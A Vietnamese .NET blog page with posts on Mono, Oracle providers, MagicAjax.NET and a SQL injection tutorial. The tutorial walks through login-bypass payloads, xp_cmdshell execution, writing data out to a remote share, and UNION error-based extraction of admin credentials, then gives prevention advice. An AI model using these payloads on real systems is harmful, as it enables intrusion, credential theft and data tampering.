Tạo các ứng dụng .Net trên Linux và Mac OS X

Bài báo này được trích dẫn từ cuốn Windows Developer Power Tools của James Avery và Jim Holmes, theo giấy phép của O’Reilly Media Inc.

Mono là một triển khai nguồn mở của .NET Framework xây dựng trên Linux, Solaris, Mac OS X, Windows và Unix. Nếu đang phát triển trên nền Windows, bạn có thể xây dựng các ứng dụng Mono dùng Visual Studio hoặc SharpDevelop. Cả hai IDE này đều không thể chạy trên Linux hoặc Mac OS X. MonoDevelop khởi đầu giống như một cổng của SharpDevelop IDE, nhưng sau đó phát triển độc lập thành Mono IDE dành riêng cho máy để bàn Linux sử dụng GNOME. Continue reading

Microsoft đình chỉ liên kết .Net với các CSDL Oracle

Chiều theo nhiều nhà sản xuất, Microsoft sẽ đình chỉ đưa ra phần mềm cung cấp truy cập từ những ứng dụng Microsoft .Net vào các CSDL Oracle.

Microsoft sẽ không phát triển OracleClient nữa (OracleClient là ADO.Net provider cho CSDL Oracle, được tung ra như là một phần của .Net Framework). Theo ông Himanshu Vasishth, giám đốc chương trình ADO.Net OracleClient tại Microsoft thì quyết định này được đưa ra sau nhiều cuộc thảo luận với các khách hàng và đối tác.

Ông Vasishth cho biết, các ADO.Net provider cho CSDL Oracle của nhiều bên thứ ba thường xuyên được cập nhật, hỗ trợ những tính năng mới, phiên bản CSDL Oracle mới nên Microsoft thấy không cần thiết phát triển ADO.Net OracleClient nữa. Continue reading

By dbglory Posted in .NET

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến ‘category‘ được gán giá trị là ‘food‘. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘food‘ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory=’food’

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1– , biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’=’a

” or “a”=”a

‘) or (‘a’=’a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

Chú ý: folder “share” phải được share cho Everyone trước.

7. Nhận dữ liệu qua ‘database using ODBC error message

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1“. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25‘ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là “login_id“. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table “admin_login” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo“. Hãy thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix“.

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173“. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found“. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity‘ và password là ‘31173

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “newpas5”

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

  • input do người dùng đệ trình
  • các tham số từ URL
  • các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

  • xp_cmdshell
  • xp_startmail
  • xp_sendmail
  • sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

13. Tài liệu thao khảo

Theo blog thuynt

Chuyển trang ASP.NET sang Ajax với MagicAjax.NET

Là một trong những công nghệ nền tảng của Web 2.0, Ajax đã và đang làm thay đổi cách chúng ta nhìn nhận và sử dụng các ứng dụng web. Cùng với sự phát triển của các trang web hỗ trợ Ajax, các công cụ giúp các nhà phát triển nhanh chóng xây dựng các trang web này cũng đã ra đời và ngày càng phát triển. Một trong số đó là thư viện Ajax.NET (Bài “Sử dụng Ajax trong lập trình ASP.NET”, TGVT A số tháng 3/2006, trang 115).

Trong bài viết này, tôi sẽ giới thiệu một công cụ khác hỗ trợ phát triển Ajax không kém phần hiệu quả, đó là MagicAjax.NET (gọi tắt là MagicAjax). MagicAjax.NET giúp bạn đưa trang Web ASP.NET hiện có sang hỗ trợ Ajax một cách trực quan mà không cần phải thay thế các điều khiển ASP.NET đã có và/hoặc viết thêm mã JavaScript.

MagicAjax.NET là một dự án mã nguồn mở (C#) tuân theo các điều khoản trong giấy phép GNU Lesser GPL. Hiện phiên bản mới nhất là 0.3.0. Bạn có thể tải về thư viện, mã nguồn, các ví dụ cũng như tài liệu từ trang web chính thức của dự án http://www.magicajax.net.

Các đặc điểm của MagicAjax

• Tích hợp:

– Chỉ cần vài dòng thiết lập cấu hình trong web.config là có thể dùng MagicAjax.

– Chỉ cần thêm vào một điều khiển (AjaxPanel) để trang web của bạn hỗ trợ Ajax.

• Sử dụng:

Đặt phần trang web mà bạn muốn hỗ trợ Ajax vào trong AjaxPanel, công việc còn lại sẽ do MagicAjax Framework đảm nhiệm.

– Có thể đưa MagicAjax vào Visual Studio để sử dụng một cách trực quan.

– Không cần viết mã JavaScript để xử lí phía trình duyệt.

• Lập trình:

– Trong phần lớn trường hợp, để sử dụng MagicAjax, bạn chỉ cần thêm các AjaxPanel mà không cần thay đổi mã nguồn.

– MagicAjax thay hàm PostBack bằng hàm callback của Ajax (AjaxCall).

– Có thể dùng cả hàm PostBack và chức năng Ajax trong cùng một trang, chỉ những phần nằm trong AjaxPanel mới gọi AjaxCall thay cho PostBack.

– ViewState của trang web được chia sẻ giữa PostBack và AjaxCall, khi có một thay đổi tạo bởi AjaxCall, PostBack có thể dùng thay đổi đó và ngược lại.

– Bạn có thể điều khiển AjaxCall tương tự như PostBack, sử dụng lập trình ASP.NET phía server.

– MagicAjax nhận ra những thay đổi trong khi gọi AjaxCall, và gửi một đoạn mã JavaScript nhỏ nhất có thể để phản hồi các thay đổi đến trình duyệt.

– Có thể dùng mã để điều khiển.

• Tùy biến:

– Cung cấp nhiều thiết lập cho phép bạn sử dụng linh hoạt.

– Có thể tùy biến các điều khiển ASP.NET khi dùng chúng với MagicAjax.

– Có thể khai báo hàm AjaxCall sẽ gọi đồng bộ hay không đồng bộ đối với tất cả các điều khiển nằm trong AjaxPanel hay là chỉ với một điều khiển riêng biệt nằm trong đó.

– Bạn có thể khai báo một điều khiển nào đó của AjaxPanel sẽ gọi thuần PostBack.

– Thiết kế hướng đối tượng rõ ràng giúp bạn dễ dàng mở rộng Magic và tạo các điều khiển Ajax của chính bạn.

• Tương thích:

– MagicAjax hỗ trợ hầu hết các trình duyệt hiện nay như Internet Explorer, Firefox, Opera và Netscape.

– Nếu trình duyệt không hỗ trợ hoặc người dùng cấm tính năng JavaScript trong trình duyệt, trang web sẽ tự động chuyển về sử dụng PostBack.

Tích hợp MagicAjax

Mục đích của MagicAjax là hỗ trợ chuyển từ trang web ASP.NET hiện có sang Ajax một cách dễ dàng nhất, do vậy việc tích hợp MagicAjax hạn chế tối đa viết mã. Các bước thực hiện như sau:

1) Thay đổi web.config:

Bạn nên đăng kí MagicAjax ở section system.web trong file web.config như sau:

<httpModules>

<add name=”MagicAjax” type=”MagicAjax.MagicAjaxModule, MagicAjax” />

</httpModules>

Lúc này, MagicAjax sẽ sử dụng các thiết lập mặc định. Nếu muốn thay đổi các thiết lập, bạn có thể chỉnh sửa file web.config theo ý mình (một số chỉnh sửa quan trọng sẽ được giới thiệu trong phần sau của bài viết).

2) Thêm các điều khiển vào trang web:

Dùng một tag để đăng kí sử dụng namespace cho các điều khiển MagicAjax ở đầu trang web:
<%@ Register TagPrefix=”ajax” Namespace=”MagicAjax.UI.Controls” Assembly=”MagicAjax” %>

Sau đó, bạn có thể khai báo một điều khiển theo cấu trúc:

<ajax:AjaxPanel id=”AjaxPanel1” runat=”server”></ajax:AjaxPanel>

Bạn hãy để ý đến tag <ajax:AjaxPanel> và </ajax:AjaxPanel>, tag này có nhiệm vụ giới hạn “tầm ảnh hưởng” của Ajax. Chỉ những điều khiển nào được đặt trong tag này mới hỗ trợ Ajax, còn không thì chúng chỉ là những điều khiển thông thường. Điều này cho phép bạn sử dụng Ajax một cách linh hoạt.

3) Thêm thư viện MagicAjax:

Bạn tạo một thư mục bin nằm trong thư mục chứa trang web của mình. Copy file MagicAjax.dll vào, thế là xong. Bạn hãy mở trình duyệt và xem sự khác biệt.

4) Tích hợp MagicAjax trong môi trường Visual Studio (từ phiên bản 2003 trở lên):

Từ menu Tools, chọn Add/Remove Toolbox Items (chọn Toolbox Items với VS 2005), nhấn vào Browse và chỉ đến file MagicAjax.dll. Các điều khiển sẽ được thêm vào trong toolbox như bạn thấy dưới đây:
Lúc này, bạn có thể tạo một AjaxPanel để kéo-thả các điều khiển vào đó:

Các bước còn lại hoàn toàn như đã trình bày ở trên, chỉ có điều bạn làm một cách “trực quan” hơn trong môi trường VS mà thôi (bạn chỉ cần sửa lại web.config, còn các điều khiển nằm trong AjaxPanel sẽ được khai báo tự động hỗ trợ Ajax).

Sử dụng MagicAjax

AjaxPanel là nhân của MagicAjax, tương tự như panel của ASP.NET, các thành phần bên trong nó được hiển thị trực quan và bạn có thể thiết lập các thuộc tính của các điều khiển web, thay đổi thuộc tính Visible của nó… Hàm PostBack của tất cả các điều khiển nằm trong AjaxPanel được thay thế bằng AjaxCall, trừ khi nó được khai báo khác. Thuộc tính AjaxCallConnection của các điều khiển trong AjaxPanel có thể thiết lập thành:

Asynchronous (không đồng bộ – mặc định): AjaxCall sẽ được sử dụng dưới dạng nền (background), mã lệnh sẽ tiếp tục thực hiện mà không cần đợi nó trả về.

Synchronous (đồng bộ): trình duyệt sẽ đợi cho đến khi AjaxCall kết thúc.

None: các điều khiển này sẽ dùng hàm PostBack thông thường.

Thuộc tính ExcludeFlags của AjaxPanel xác định xem thành phần nào trong form sẽ bị loại khi một hàm AjaxCall gửi đến máy chủ, vì thế giảm số lượng gọi AjaxCall. Nó thiết lập thuộc tính ExcludeFlags của MagicAjax cho các điều khiển ASP.NET (bạn sẽ thấy ở phần sau). Một AjaxPanel con sẽ tự động thừa kế thuộc tính này của cha nó. Nó có thể đánh dấu thêm các thành phần của form để loại bỏ thông qua thuộc tính ExcludeFlags của nó, nhưng nó sẽ không thể gửi đến máy chủ các thành phần của form đã được đánh dấu để loại bỏ bởi cha của nó.

Để giảm lượng HTML cần gửi đến client, MagicAjax định nghĩa các “chủ thể HTML” riêng biệt. Một AjaxPanel con nằm trong một AjaxPanel cha, sẽ định nghĩa chủ thể HTML riêng biệt với cha nó. AjaxPanel cha sẽ bỏ qua mã HTML của AjaxPanel con, chỉ có AjaxPanel con chịu trách nhiệm phản hồi với chủ thể của nó trên client. Vì vậy, bạn có thể giảm số lượng AjaxCall, bằng cách thêm nhiều AjaxPanel để khai báo nhiều chủ thể HTML nhỏ hơn. Ví dụ, nếu bạn đặt một bảng trong một AjaxPanel, và thay đổi một trong số các cell của nó trong một AjaxCall, toàn bộ mã HTML của bảng đó sẽ được gửi đến client. Nếu bạn thêm một AjaxPanel cho mỗi cell, chỉ có mã HTML của cell đã thay đổi được gửi đến client.

AjaxPanel có thuộc tính AjaxLocalScope là true được gọi là AjaxZone. Khi một điều khiển nằm trong AjaxZone gọi một hàm AjaxCall, chỉ các giá trị của các thành phần trong form nằm trong AjaxZone được gửi đến máy chủ. Máy chủ sẽ kiểm tra các thay đổi và chỉ phản hồi đến các AjaxPanel nằm trong AjaxZone đó. Điều này sẽ làm giảm lưu chuyển Ajax và tăng khả năng đáp ứng của máy chủ. Mục đích của nó là tạo các phần riêng rẽ và độc lập với nhau trên cùng một trang, tương tự như các UserControl. Một AjaxZone có thể chứa các AjaxZone khác. Một điều khiển thuộc về AjaxZone là cha trực tiếp của nó.

Bạn có thể thiết lập các thuộc tính sau với các điều khiển ASP.NET để quyết định cách chúng được dùng bởi MagicAjax:

– AjaxCall (“Async”, “Sync” hoặc “None” ): Khi bạn thêm thiết lập AjaxCall với giá trị là “Async” hoặc “Sync” cho một điều khiển sử dụng chức năng PostBack (như Button, LinkButton, CheckBox,…), chức năng này sẽ được thay thế bằng chức năng Ajax, ngay cả khi điều khiển đó không nằm trong một AjaxPanel. Khi bạn thêm thiết lập AjaxCall với giá trị “None” vào một điều khiển nằm trong AjaxPanel, điều khiển này sẽ dùng PostBack thay cho AjaxCall. Bằng cách thêm thuộc tính AjaxCall, bạn có thể ghi chồng thuộc tính AjaxCallConnection của AjaxPanel chứa nó (ví dụ, nếu AjaxPanel được thiết lập để làm việc không đồng bộ, bạn có thể thêm AjaxCall với giá trị “sync” để nó thực hiện một lời gọi AjaxCall đồng bộ). Thuộc tính AjaxCall sẽ được áp dụng cho tất cả các con cháu của điều khiển, thế nên nếu bạn thêm nó vào một khung ASP.NET đơn thuần, tất cả các điều khiển nằm trong đó sẽ chịu ảnh hưởng của thuộc tính AjaxCall.

– ExcludeFromPost (“true” hoặc “false”): Khi thực hiện một lời gọi AjaxCall, client gửi các giá trị của các thành phần của form về máy chủ như là dữ liệu POST. Nếu điều khiển chỉ đơn giản dùng để hiển thị thông tin, và không nhận thông tin người dùng nhập vào, bạn có thể thêm thuộc tính ExcludeFromPost với giá trị là “true”, thì giá trị của điều khiển đó sẽ không được gửi đến máy chủ. Bạn có thể giảm lưu lượng thông tin không cần thiết giữa client và máy chủ bằng cách thêm thuộc tính này cho các điều khiển như readonly Textbox hay Label.

– AjaxLocalScope (“true” hoặc “false”): Thiết lập này điều khiển hoạt động tương tự một AjaxZone (đã nói ở phần trên).

– ExcludeFlags (biểu thức): Xác định xem thành phần nào của form sẽ bị loại bỏ khi gửi đến server trong một lời gọi AjaxCall. Thành phần của form sẽ bị loại bỏ khi gọi AjaxCall từ một điều khiển hay từ các con cháu của nó. Thuộc tính này nên được thiết lập với một biểu thức số học mà giá trị trả về là một số nguyên. Bạn có thể dùng các hằng số của JavaScript như excfViewState, excfFingerprints, excfUserHidden, excfAllHidden, excfFormElements, excfAllElements.

Ví dụ:

<asp:button excludeflags=”excfFormElements | excfViewState” …>

Chú ý là tất cả các thuộc tính trên đều có thể dùng mã để thiết lập. Các giá trị của chúng có thể thay đổi trong một AjaxCall:

Ví dụ:

Button1.Attributes[“ajaxcall”] = “async”;

Thiết lập MagicAjax

Thiết lập web.config

Bạn có thể thay đổi các thiết lập mặc định của MagicAjax trong section configuration của web.config. Các thiết lập này sẽ được áp dụng cho tất cả các trang có trong ứng dụng của bạn. Nếu bạn bỏ sót một thiết lập nào đó, MagicAjax sẽ sử dụng giá trị mặc định. Dưới đây là một ví dụ:

<configSections>

<section name=”magicAjax”

type=”MagicAjax.Configuration.MagicAjaxSectionHandler, MagicAjax”/>

</configSections>

<magicAjax

outputCompareMode=”HashCode”

tracing=”false”>

<pageStore

mode=”NoStore”

unloadStoredPage=”false”

cacheTimeout=”5”

maxConcurrentPages=”5”

maxPagesLimitAlert=”false”

/>

</magicAjax>

Thiết lập bằng mã

Bên cạnh việc sử dụng web.config, bạn có thể dùng mã để ghi chồng các thiết lập cho từng trang riêng biệt. Thuộc tính MagicAjaxContext.Current.Configuration chứa tất cả các tùy chọn. Trong sự kiện Load, bạn có thể thay đổi bất kì giá trị nào của nó, ví dụ:

private void Page_Load(object sender, System.EventArgs e)

{

MagicAjaxContext.Current.Configuration.PageStore.Mode = MagicAjax.Configuration.PageStoreMode.Session;

}

Các thay đổi của bạn sẽ được lưu vào một trường ẩn của trang và sẽ được phục hồi cho mỗi hàm PostBack/AjaxCall. Đoạn mã trên có thể viết như sau:
private void Page_Load(object sender, System.EventArgs e)

{

if ( !IsPostBack )

{

MagicAjaxContext.Current.Configuration.PageStore.Mode = MagicAjax.Configuration.PageStoreMode.Session;

}

}

Chú ý là các thiết lập chỉ được thay đổi trong hàm PostBack, còn với AjaxCall, điều này sẽ gây ra một lỗi ngoại lệ.

Một số thiết lập quan trọng:

• ScriptPath:

Kiểu: string, mặc định: null.

Script của MagicAjax đã được nhúng vào trong file MagicAjax.dll và được đặt vào trang có script như sau:

<script type=”text/javascript” src=”AjaxCallObject.js.aspx”></script>

Bạn có thể dùng script của mình bằng cách thiết lập:

<magicAjax ScriptPath=”~/script” />

Khi đó thuộc tính src ở trên sẽ chứa đường dẫn của ScriptPath.

• Tracing:

Kiểu: boolean, mặc định: false.

Nếu bật thiết lập tracing, một cửa sổ popup sẽ được tạo để hiển thị thông tin đã được gửi đến và gửi đi từ server, cho phép bạn giám sát các lời gọi AjaxCall từ trang web đó, điều này sẽ rất hữu ích khi bạn cần bẫy lỗi.

• PageStore – Mode

Kiểu: liệt kê (NoStore/Session/Cache), mặc định: NoStore.

Thiết lập này quyết định các hoạt động của Ajax, điểm khác biệt giữa các giá trị của nó như sau:

* NoStore: Đây là thiết lập được khuyến cáo sử dụng. Chu kì thực hiện của AjaxCall cũng giống PostBack. Mỗi khi có lời gọi AjaxCall, trang web và các điều khiển được tạo lại, không có gì được giữ lại ở máy chủ, các sự kiện với điều khiển ASP.NET được tạo. Tương thích với .NET 1.1 và 2.0

* Session: Trang web được yêu cầu sẽ lưu lại trên máy chủ, MagicAjax sẽ tạo các sự kiện khác nhau cho trang này. Chỉ tương thích với .NET 1.1. Đồng thời, nó chỉ làm việc với chế độ “InProc”, không làm việc với “StateServer” và “SQLServer”.

* Cache: làm việc tương tự chế độ Session, chỉ khác với chế độ Session ở chỗ trang web sẽ được lưu trên bộ đệm của máy chủ, vì vậy nó có thể làm việc được với “State Server” và “SQLServer”.

Trên đây là một số thiết lập quan trọng nhất. Các thiết lập khác bạn có thể tham khảo thêm tài liệu đi kèm với thư viện.

Hạn chế của MagicAjax

Phiên bản hiện tại của MagicAjax có các hạn chế sau:

* Với chế độ PageStore là NoStore, nếu các tag thuộc tính (như CssClass, BackColor,…) của một AjaxPanel thay đổi trong một AjaxCall, các thay đổi sẽ không được phản hồi đến trình duyệt.

* Điều khiển FileUpload sẽ không làm việc trong một AjaxCall.

Hạn chế khi dùng với .NET 2.0:

* Phương thức Server.Transfer gọi trong một AjaxCall sẽ không được sử dụng một cách phù hợp.

* Không hỗ trợ chế độ Session/Cache của PageStore.

Hi vọng bài viết này giúp bạn có một cái nhìn tổng quát về thư viện MagicAjax và bạn sẽ khám phá thêm nhiều điều thú vị khi sử dụng MagicAjax. Chúc các bạn thành công.

(Theo PCWorld)

Atlas: Ajax kiểu Microsoft


top.document.title = ‘TGVT – ‘+’Atlas: Ajax kiểu Microsoft’;

Công nghệ mới của Microsoft tích hợp thư viện script phía client với nền tảng phía server của ASP.NET 2.0, hứa hẹn cung cấp nền tảng phát triển toàn diện hơn và đơn giản hoá việc phát triển ứng dụng web kiểu Ajax.

Công nghệ mới của Microsoft tích hợp thư viện script phía client với nền tảng phát triển phía server của ASP.NET 2.0, cho phép phát triển ứng dụng web thế hệ mới theo kiểu Ajax.

